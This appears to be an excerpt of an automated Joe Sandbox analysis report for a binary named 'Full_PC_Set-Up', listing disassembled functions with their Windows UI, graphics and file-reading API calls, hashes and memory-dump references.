Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CompatibleCreate$BeginBitmapColorH_prolog3OffsetPaintRect_malloc
String ID:
API String ID: 3960154191-0
Opcode ID: 3ba0179a2e7cdda469afdcc73c50941d7cbb54d610353a1edc74935e8da5ec47
Instruction ID: d3b0557d4eaeb8fd6a9a505cea30f01f652d322d0af05f002c205a7c9bbeebd8
Opcode Fuzzy Hash: 3ba0179a2e7cdda469afdcc73c50941d7cbb54d610353a1edc74935e8da5ec47
Instruction Fuzzy Hash: 04516FB12143419FC364DF24C985E2BBBE9FF89704F10891DF59A87691DB34E848CB62

Function 0029E890 Relevance: 7.7, APIs: 5, Instructions: 164windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00367E25: SetFocus.USER32(?,0029BF37,5EBD7D5F), ref: 00367E2E

CreatePopupMenu.USER32 ref: 0029E8E0
AppendMenuW.USER32(?,?,00000001,?), ref: 0029E99B
ClientToScreen.USER32(?,?), ref: 0029E9D5

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Menu$AppendClientCreateFocusPopupScreen
String ID:
API String ID: 264005087-0
Opcode ID: 76cf0051c2a48da409cc67d8b57247cefc4d1dc63e2e792fa7e19e50c68e8b2e
Instruction ID: 23da97c084fe2a730b0763456e443bdd3833bcad33a7be0b49855790a4213ff2
Opcode Fuzzy Hash: 76cf0051c2a48da409cc67d8b57247cefc4d1dc63e2e792fa7e19e50c68e8b2e
Instruction Fuzzy Hash: D1517D712243019FDB54EF24C881B2AB3E5FF88720F114A5DF8999B291DB70ED00CB65

Function 002B4BE0 Relevance: 7.6, APIs: 5, Instructions: 148memoryCOMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 002B4C0C
SysStringLen.OLEAUT32(?), ref: 002B4C25
SysAllocStringByteLen.OLEAUT32(00000000,00000000), ref: 002B4C57
_memcpy_s.LIBCMT ref: 002B4C90
_memcpy_s.LIBCMT ref: 002B4CB9

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: String$_memcpy_s$AllocByte
String ID:
API String ID: 3263500483-0
Opcode ID: 8cd76fc47e7555d3e5c84e85cef233632a3d8d5321fa4fad6cea5cb8ff733694
Instruction ID: 1c817932f1d6c6905eb3effcf064afdb1e0873031f35693147d46af5dcb77cc4
Opcode Fuzzy Hash: 8cd76fc47e7555d3e5c84e85cef233632a3d8d5321fa4fad6cea5cb8ff733694
Instruction Fuzzy Hash: 5B41B175611202AFE710EF64C880BA7B7E8EF84B90F14491EF941DB252D774DC10CBA1

Function 002D0950 Relevance: 7.6, APIs: 5, Instructions: 112fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003835FB: __waccess_s.LIBCMT ref: 00383606

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000080,00000000), ref: 002D09A4
GetFileSize.KERNEL32(00000000,00000000), ref: 002D09BB
_memset.LIBCMT ref: 002D0A01
ReadFile.KERNEL32 ref: 002D0A1B
CloseHandle.KERNEL32(00000000), ref: 002D0AF4

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: File$CloseCreateHandleReadSize__waccess_s_memset
String ID:
API String ID: 1152554251-0
Opcode ID: 76192bdd597b8dcafb994e05223e3d096630445fc9dbf966dbac65fcb1094a45
Instruction ID: a670eedfd9b38be8e0720baa3ac2f777455f3f804a5328209032463f1c5a7686
Opcode Fuzzy Hash: 76192bdd597b8dcafb994e05223e3d096630445fc9dbf966dbac65fcb1094a45
Instruction Fuzzy Hash: 5831D371554300ABC321EF24CC85F6FB7A8FB89B24F14461AF894973A1DB34AC55CB62

Function 002B1240 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

UpdateWindow.USER32(?), ref: 002B12E1
GetCursor.USER32 ref: 002B12E7
LoadCursorW.USER32(00000000,00007F02), ref: 002B12F6
SetCursor.USER32(00000000), ref: 002B12FD
SetCursor.USER32(00000000), ref: 002B1353

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Cursor$LoadUpdateWindow
String ID:
API String ID: 4056158515-0
Opcode ID: 4b86c3be1bd7b893935624069f993917c342388a4a0499ca621214fc1633edfc
Instruction ID: 1bd0c9ddeeced83ff13fb022f5e508eb736e4a88d787f5d5595b81459c5ccf7e
Opcode Fuzzy Hash: 4b86c3be1bd7b893935624069f993917c342388a4a0499ca621214fc1633edfc
Instruction Fuzzy Hash: 013178352007018FD320EF78D995E6BB3A5FF88750F148A18F9668B685DB30F821CB95

Function 003A6960 Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 003A6981
IsWindow.USER32(?), ref: 003A69D5
GetSystemMetrics.USER32(00000002), ref: 003A69E9
GetSystemMetrics.USER32(00000003), ref: 003A69EF
OffsetRect.USER32(000000FF,000000FF,000000FF), ref: 003A6A1C

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MetricsRectSystem$ClientOffsetWindow
String ID:
API String ID: 1225545112-0
Opcode ID: bfe4fa0d8005b56af501e661ca3fcb986e40c846a4be733f5e414b3f01e19043
Instruction ID: 96982d7e43054e45faa9ce82261a3a5738d96e61e3b68c30fbd35c24d439a995
Opcode Fuzzy Hash: bfe4fa0d8005b56af501e661ca3fcb986e40c846a4be733f5e414b3f01e19043
Instruction Fuzzy Hash: 684179706083029FD324DF68C986B2BB7E4FF88710F108A2DF59997690D770E908CB56

Function 003A5700 Relevance: 7.6, APIs: 5, Instructions: 93windowCOMMON

Download Yara Rule

APIs

CopyRect.USER32(?,?), ref: 003A576E
CreateCompatibleDC.GDI32(?), ref: 003A5778
CreateCompatibleBitmap.GDI32(?,?,00000001), ref: 003A57B2
SelectObject.GDI32(00000000,?), ref: 003A57CC
CreateRectRgnIndirect.GDI32(?), ref: 003A57EC

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Create$CompatibleRect$BitmapCopyIndirectObjectSelect
String ID:
API String ID: 747856183-0
Opcode ID: b892580b2a26663ba3eb0ac92ef81aac6206605a14e4e134f671b382f6f9966a
Instruction ID: dd518aed31378f828e821817e9b1f183086af5c8aa8a1b6bcf266cee28b8790a
Opcode Fuzzy Hash: b892580b2a26663ba3eb0ac92ef81aac6206605a14e4e134f671b382f6f9966a
Instruction Fuzzy Hash: B7315EB51047419FC321DF18D948B6BBBE8FB88B04F004A1DF446D7681CB75E909CBA6

Function 0029F800 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

GdipCreatePen1.GDIPLUS(FF808080,5EBD7D5F,00000000,?,5EBD7D5F,?,?,?,?,0029FAC7,?,?,5EBD7D5F,?,?,?), ref: 0029F842
GdipSetPenDashStyle.GDIPLUS(?,00000002,FF808080,5EBD7D5F,00000000,?,5EBD7D5F,?,?,?,?,0029FAC7,?,?,5EBD7D5F,?), ref: 0029F856
GdipDrawLineI.GDIPLUS(?,?,?,?,?,?,?,00000002,FF808080,5EBD7D5F,00000000,?,5EBD7D5F,?,?), ref: 0029F89E
GdipDrawLineI.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,FF808080,5EBD7D5F), ref: 0029F8BA
GdipDeletePen.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,FF808080), ref: 0029F8CB

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Gdip$DrawLine$CreateDashDeletePen1Style
String ID:
API String ID: 270720343-0
Opcode ID: f5c54f2c400f61bc5276f11cd5fa59df41343d9b5fdf502a3bcb1a5a1397e494
Instruction ID: 7091c62fbb867253d9c96da3f515ac2002f332e31cf5e40ecdbc073daeead3fd
Opcode Fuzzy Hash: f5c54f2c400f61bc5276f11cd5fa59df41343d9b5fdf502a3bcb1a5a1397e494
Instruction Fuzzy Hash: D32128B6618305AFC790DF25CD80E6BBBE8FB89750F448A2EF848C7251D635D904CBA1

Function 002F5790 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000000,00000000), ref: 002F57A8
SHGetSpecialFolderLocation.SHELL32 ref: 002F57BF
SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 002F57D1

Part of subcall function 0036E2A4: IsWindow.USER32(?), ref: 0036E2B2
Part of subcall function 0036E2A4: SendMessageW.USER32(?), ref: 0036E2E0

SendMessageW.USER32(?,0000110A,00000001,00000000), ref: 002F581C
SendMessageW.USER32(?,00001102,00000002,00000000), ref: 002F585F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$FolderLocationSpecialWindow
String ID:
API String ID: 4244014101-0
Opcode ID: 447e45ff81f8394c632ada3470cea86e0b1a31b79130c96471fb65927188f3c1
Instruction ID: 9870ca31f187003a96ac098a621557b129c4d012bd5149b5abccc81de712c908
Opcode Fuzzy Hash: 447e45ff81f8394c632ada3470cea86e0b1a31b79130c96471fb65927188f3c1
Instruction Fuzzy Hash: F8215975640705ABD710EB69DC81FABB3E9BFCDB50F04491CF78997280DAB0E8058B25

Function 002B1160 Relevance: 7.6, APIs: 5, Instructions: 81COMMON

Download Yara Rule

APIs

UpdateWindow.USER32(?), ref: 002B11F5
GetCursor.USER32(?,00000000,00000000), ref: 002B11FB
LoadCursorW.USER32(00000000,00007F02), ref: 002B120A
SetCursor.USER32(00000000,?,00000000,00000000), ref: 002B1217
SetCursor.USER32(00000000,?,00000000,00000000), ref: 002B122E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Cursor$LoadUpdateWindow
String ID:
API String ID: 4056158515-0
Opcode ID: 449b766f9a7be87d93f8cb04f1020c6f5c226ac9d2cb9849ab372c0998e706dd
Instruction ID: a3f284e03c71f2edf74612a4a85180cc21ad6a7b59361455f3b8b9791bfe6d4e
Opcode Fuzzy Hash: 449b766f9a7be87d93f8cb04f1020c6f5c226ac9d2cb9849ab372c0998e706dd
Instruction Fuzzy Hash: 8E217A313006019FD215EF78CC96B6AB3A5BB88760F144B18F6268B2D4DB20ED218B95

Function 002EE770 Relevance: 7.6, APIs: 5, Instructions: 76windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0036414F: __EH_prolog3_catch.LIBCMT ref: 00364156

_memset.LIBCMT ref: 002EE78A
_memset.LIBCMT ref: 002EE79D
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 002EE81A
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 002EE82F
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 002EE840

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$_memset$H_prolog3_catch
String ID:
API String ID: 3748908064-0
Opcode ID: 260e0a225d977333e30be9322fb3545511405bdef83ec5bf24bef6e21c942255
Instruction ID: 47721c783d6c25598607c2273cf6a664d9f750be3775c470b1aaf090beed144c
Opcode Fuzzy Hash: 260e0a225d977333e30be9322fb3545511405bdef83ec5bf24bef6e21c942255
Instruction Fuzzy Hash: 4C21D430790702ABEB249F38CC82F76B3A4FF44700F104219F6564F2D1DAB4A810C794

Function 003012A0 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 003012B7
InflateRect.USER32(?,00000005,00000005), ref: 00301319
GetParent.USER32(?), ref: 0030132E
GetParent.USER32(?), ref: 00301341
InvalidateRect.USER32(?,?,00000001,00000000,?,?,?,?,?,?,?,00000003), ref: 00301354

Part of subcall function 00367D7C: MoveWindow.USER32(?,?,?,00000000,?,002B114C,?,002B114C,?), ref: 00367D99

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Parent$ClientInflateInvalidateMoveWindow
String ID:
API String ID: 1365330154-0
Opcode ID: afec3fd5e682462eb3d156a1223cc175d6fda742083c247ed91d47e401e55826
Instruction ID: 838b564bde60a959dad7d22619d9bbfffe630bf00e36faab0cf97f7f72b4ca97
Opcode Fuzzy Hash: afec3fd5e682462eb3d156a1223cc175d6fda742083c247ed91d47e401e55826
Instruction Fuzzy Hash: 48214FB1A043056FC604EFB4CC59DABB7E9FB88710F044A1DB59487285EB74E8048BE2

Function 00363695 Relevance: 7.6, APIs: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 003636A5
GetWindowRect.USER32(00000000,00000001), ref: 003636CB
SetWindowPos.USER32(00000000,00000000,00000001,?,00000000,00000000,00000015,00000001,?,?,00000001), ref: 003636F6
GetWindow.USER32(?,00000005), ref: 003636FF
ScrollWindow.USER32(?,?,?,00000001,?), ref: 00363718

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
